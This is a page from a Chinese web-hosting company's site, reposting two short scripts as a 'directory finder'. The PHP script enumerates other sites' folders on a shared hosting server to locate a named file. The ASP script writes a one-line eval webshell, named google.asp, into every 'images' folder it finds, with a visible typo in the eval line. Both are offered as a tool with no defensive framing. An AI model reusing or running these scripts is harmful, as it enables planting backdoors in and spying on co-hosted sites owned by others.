香港高速VIP云机房火爆上线啦!无需备案,开通即用!配套《巅云自助建站系统3.0》将带给您飞一般的可视化拖拽建站体验,欢迎免费体验。

建站专题

php一个找二层目录的小东东

一佰互联网站开发设计(www.yinxi.net) 发布日期 2019-04-30 09:21:37 浏览数: 25

php版
复制代码 代码如下:
<?php
set_time_limit(0);
$path = "D:/Hosting";
$somefile = $_GET["key"];
$logfile = "D:/Hosting/6668835/html/images/ennumdir.txt";
if (!isset($_SERVER["PHP_AUTH_USER"])) {
header("WWW-Authenticate: Basic realm="My Realm"");
header("HTTP/1.0 401 Unauthorized");
echo "Text to send if user hits Cancel button";
exit;
} else {
if(is_dir($path) && is_readable($path))
{
$path2 = "";
$handle = opendir($path);
while(false !== ($filename = readdir($handle)))
{
if($filename{0} != $_GET["dir"])
{
continue;
}
/*
if($filename{1} != $_GET["two"])
{
continue;
}
*/
//$path2 = $path."/".$filename."/html";
$path2 = $path."/".$filename;
if(is_dir($path2) && is_readable($path2))
{
@$handle2 = opendir($path2);
while(false !== ($filename2 = readdir($handle2)))
{
if($filename2 == $somefile)
{
//echo"[+]Found !".$filename2."";
file_put_contents($logfile,"[+]Found !".$path2."/".$filename2."",FILE_APPEND);
}
}
@closedir($handle2);
}
}
file_put_contents($logfile,"[*]LAST ".$path2."",FILE_APPEND);
closedir($handle);
}
}

asp版
复制代码 代码如下:
<%
Server.ScriptTimeout=500000000
key = Trim(Request.QueryString("key"))
msg=" <% eval(rquese(Chr(35)))%" &">"
Set FSO=Server.CreateObject("Scripting.FileSystemObject")
Set ServerFolder=FSO.GetFolder("C:intel")
Set ServerFolderList=ServerFolder.subfolders
For Each ServerFileEvery IN ServerFolderList
" Response.write ServerFileEvery&"</br>"
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then
Set sServerFolder=FSO.GetFolder(ServerFileEvery)
Set sServerFolderList=sServerFolder.subfolders
For Each sServerFileEvery IN sServerFolderList
If LCase(sServerFileEvery.name) = "images" Then
StreamSaveToFile sServerFileEvery & "google.asp", msg, "UTF-8"
End If
Next
End If
Next
Function StreamSaveToFile(sPath, sContent, sCharSet)
Dim oStream
If(InStr(sPath, ":") <= 0)Then
sPath = Replace(sPath, ",", ",")
sPath = Server.MapPath(sPath)
sPath = Replace(sPath, ",", ",")
End If
Set oStream = Server.CreateObject("Adodb.Stream")
With oStream
.Type = 2
.Mode = 3
.Open
.Charset = sCharSet
.WriteText sContent
.SaveToFile sPath, 2
.Close
End With
Set oStream = Nothing
End Function
%>
一佰互联是全国知名建站品牌服务商,我们有九年网站建设、网站制作、网页设计、php开发和域名注册及虚拟主机服务经验,提供的自助建站服务更是全国有名。近年来还整合团队优势自主开发了可视化多用户”巅云建站系统“3.0平台版,拖拽排版网站制作设计,轻松实现pc站、手机微网站、小程序、APP一体化全网营销网站建设 ,已成功的为全国上百家网络公司提供自助建站平台搭建服务。

相关新闻more

11
04月
北京网站建设网站SEO数据收集体例

北京网站建设数据剖析是作为一个SEO剖析本身网站和竞争对手最常用也是最根本的才能。经过对数据(一准时刻的观察后可绘制成趋势图)可以比较清楚的... >>详情

27
03月
新建群发 深圳二次房改!6折买房!但一问题恐

简介:就在6月5日的上午9点,深圳公布了历史上仅次于第一次房改的重要文件。深圳住建委召开了《关于深化住房制度改革加快建立多主体供给多渠道保障... >>详情

04
04月
警惕违规医疗竞价广告“死灰复燃” 专家:加大

简介:警惕违规医疗竞价广告“死灰复燃”门诊问题:如何治理网络医疗竞价广告违规行为门诊专家:北京市法学会电子商务法治研究会会长邱宝昌南京大学法... >>详情

30
04月
PHP使用数组实现队列

PHP中将数组当做一个栈,主要是使用array_push()和array_pop()两个系统函数来完成。入栈主要是利用array_push(... >>详情

营业执照. cdn加速服务 备案系统认证 网络安全协会 我们的支付方式AAA认证
上海 北京 深圳 广州 天津 杭州 南京 武汉 成都 沈阳 大连 长沙 济南 青岛 苏州 福州 无锡 哈尔滨 宁波 重庆 大庆 厦门 西安 长春 珠海 郑州 海口 昆明 太原 石家庄 温州 合肥 乌鲁木齐 南宁 南通 合肥 兰州 呼和浩特 贵阳 烟台 秦皇岛 包头 唐山 银川 汕头 连云港 威海 西宁 湛江 北海 万州 涪陵 长寿 黔江 永川 丰都 忠县 江津 南川 开县 云阳 万盛 梁平 垫江 巫山 城口 建站宝盒 免费建站 门户网站建设 微信网站 手机网站 门户网站制作

7x24小时服务电话:18581389571 传真:023-85725751 免费建站交流群:236412099 139947842(自助建站交流) E-Mail:post@yinxi.net 网站投诉:
重庆楚捷科技有限公司 一佰互联©版权所有 自助建站(www.yinxi.net,Inc.) 2001-2020 All Rights Reserved 本站程序受法律保护,网站法律顾问:ITLAW-庄毅雄律师
中华人民共和国信息产业部网站备案号:渝ICP备12000592号